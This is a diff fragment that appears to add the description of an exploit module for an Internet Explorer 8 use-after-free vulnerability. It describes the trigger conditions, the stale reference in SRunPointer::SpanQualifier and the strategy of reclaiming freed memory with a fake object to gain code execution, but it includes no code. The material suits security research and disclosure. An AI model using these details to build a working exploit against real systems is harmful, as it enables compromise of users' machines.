+				In IE8 standards mode, it's possible to cause a use-after-free condition by first
+				creating an illogical table tree, where a CPhraseElement comes after CTableRow,
+				with the final node being a sub table element. When the CPhraseElement's outer
+				content is reset by using either outerText or outerHTML through an event handler,
+				this triggers a free of its child element (in this case, a CAnchorElement, but
+				some other objects apply too), but a reference is still kept in function
+				SRunPointer::SpanQualifier. This function will then pass on the invalid reference
+				to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
+				make a call to the object's SecurityContext virtual function at offset +0x70, which
+				results a crash. An attacker can take advantage of this by first creating an
+				CAnchorElement object, let it free, and then replace the freed memory with another
+				fake object. Successfully doing so may allow arbitrary code execution under the
+				context of the user.
+
+				This bug is specific to Internet Explorer 8 only. It was originally discovered by
+				Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
